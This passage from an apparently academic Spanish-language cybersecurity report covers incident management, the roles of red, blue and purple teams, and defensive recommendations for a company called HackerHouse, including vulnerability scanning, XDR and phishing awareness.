8. GESTION ANTE INCIDENTES DE SEGURIDAD DE LA INFORMACINO
HackeHouse debe implementar una estrategia para la gestién de incidentes con

los siguientes objetivos:
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Detectar: Informar y evaluar el incidente ocurrido.
Responder: Responder ante el evento de seguridad.
Reportar: Vulnerabilidad.

Aprender: Mejorar ante la experiencia sobre el incidente.

Se debe tener claro las responsabilidades sobre el incidente y el procedimiento

para la atencién del mismo.

Reportar cualquier evento de Ciberseguridad que permita actuar en el menor

tiempo posible.

Analizar el incidente y dar respuesta de manera efectiva.

Retroalimentarse sobre el fallo presentado y reforzar las medidas que permitan
fortalecer a la organizacién asegurandose que el incidente nos e presentara de

nuevo.

Recolectar y documentar incidente presentado.
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9. VENTAJAS DE TENER BLUE TEMA, RED TEAM Y PURPLE TEAM EN
EL CAMPO DE LA CIBERSEGURIDAD

Como se ha evidenciado con el pasar del tiempo y la evolucién de la tecnologia en
los diferentes medios de comunicaciones cobrando mayor fuerza ciberseguridad y
como las organizaciones deben tomar medidas y estar preparados para cualquier

posible situacion de sufrir un ataque cibernético.

Es asi como cobra importancia que las empresas implemente estrategias que le
permitan fortalecer su infraestructura tecnolégica, la aparicidon de equipos con
personal calificado para lograr un objetivo y es proteger la informacién ante
diferentes tipos de amenaza que puedan afectar uno de los tres pilares de la

seguridad informatica que son Integridad, Confidencialidad y Disponibilidad.

Las empresas estan obligadas a definir actividades que ayuden a establecer las
medidas de seguridad de la informacion, es aqui cuando se vuelve importante tener
equipos destinados a la ciberseguridad, los equipos Red Team identificar las
debilidades de una organizacion, es un equipo especialista cuyo objetivo es detectar
a través de ataques cibernéticos cualquier brecha de seguridad de una

organizacion.

Esta informacion valiosa que descubre el equipo Red debe ser transmitida a la
organizacion, en este caso es muy importante y se vuelve necesario que se cuenta
con el personal idéneo para implementar los controles necesarios para mitigar
cualquier vulnerabilidad que pudiese tener la organizacion, Blue Team se vuelve la

defensa de proteger los activos de la empresa contra cualquier amenaza.

Para que esta comunicacién entre los dos equipos sea efectiva es importante que
coordinar y garantizar que los equipos Red y Blue se transfiera la informacién sobre
las vulnerabilidades detectas en la infraestructura Tl, esto es posible de lograr con

el Purple Team, equipo que gestiona el correcto funcionamiento de ambos equipos.
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CONCLUSIONES

Es importante que los equipos de Red Team y Blue Team trabajen de la mano con
el objetivo de poder identificar y logar controlar cualquier amenaza que presentase
la organizacion, la implementacion de un Purple Team coje gran fuerza ya que se
hace necesario que la informacién que transmite Red Team a Blue Team sea
confiable, que le permita tomar las acciones acertadas y en los momento indicados
y esto se optimiza contando con un equipo que gestione y garantice la entrega de

la informacién correcta y en el tiempo ideal.

Podemos evidenciar que el uso de herramientas para el analisis de vulnerabilidades
se vuelve indispensable, ya que con este tipo de soluciones podemos identificar
posibles brechas de seguridad las cuales podran ser remediadas de manera
anticipada evitando un posible incidente de ciberseguridad, por esta razon
HackerHouse debe analizar y estudiar la posibilidad de contar con una solucion que
le permita realizar escaneos de vulnerabilidades de manera programada, una gran

herramienta que se encuentra en el mercado es Qualys.

Los sistemas antivirus windows defender cumplen su funcion, pero para la
administracion y centralizar los controles antimalware vemos la necesidad de contar
con un software contra malware que permita una administracion y monitoreo desde
el area responsables, que permita observar el comportamiento de sus usuarios y

amenazas que pudiesen ser frecuentes.

Hoy en dia el tema de la ciberseguridad a través de la inteligencia artificial 1A coje
fuerza, la preocupacion de los profesionales que velan por la proteccién de la
informacion se encuentran preocupados con la evolucién de los malware, ahora

utilizan |A para mutar o enganar los sistemas de proteccién tradicionales como lo es
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el antivirus que bloquea las amenazas a base de firmas, pero esto para los
ciberdelincuentes a evolucionado y ahora hacen uso de malware que cambian su
cédigo y realizando movimientos dificiles de detectar para este tipo de controles,
por ello es necesario que las estrategias y controles de seguridad también
evoluciones y utilicen herramientas como lo es el XDR (Extende detection and
Response) dentro de sus acciones sus controles no son basado solo a base de
firmas si no de comportamiento de una amenaza permitiéndole reaccionar de

manera eficaz ante estos nuevos malware.
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RECOMENDACIONES

¢ No abrir por ningun motivo enlaces provenientes de correos, mensajes de texto,
mensajes de WhatsApp o sitios web desconocidos, esto ayudara a que no sea
victimas de algun ciberdelincuente que al realizar una descarga pueda estar

iniciando una instalacion de malware que pueda afectar un equipo de computo.

e Asegurar de mantener las actualizaciones del sistema operativo, sistemas de
proteccidon como antivirus, firewall y aplicaciones de software de las herramientas

tecnologias que son utilizadas diariamente por la organizacion.

o Establecer actividades que permitan monitorear la infraestructura tecnologia de
la organizacion, realizar escaneos de malware a equipos de computo, servidores

y estaciones de trabajo plataforma cliente.

e Muy importante que ante la situacién presentada debido al engafo a través de
Phishing cobra fuerza que la organizacion realice campafas de concientizacion
sobre las medidas de seguridad de la informacion, identificar las técnicas de
ataque emplean los ciberdelincuentes, los ataques por ingenieria social
realizando ataques a través de ofertas de cursos, premios extraordinarios,
citaciones judiciales, multas, cobros de entidades bancarias, etc. Ya que caer en
uno de estos ataques podria llevar a entregar informacion confidencial o afectar

los sistemas de informacion de la organizacion.
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VIDEO PRESENTACION

Este video fue desarrollado a través de PowerPoint y se sube a mi cuenta drive en
la cual comparto el enlace para que pueda ser visto.

https://drive.google.com/file/d/1-
iviAcrEsaEvCHB5NWg5aGGtrROrU8FI/view?usp=sharing
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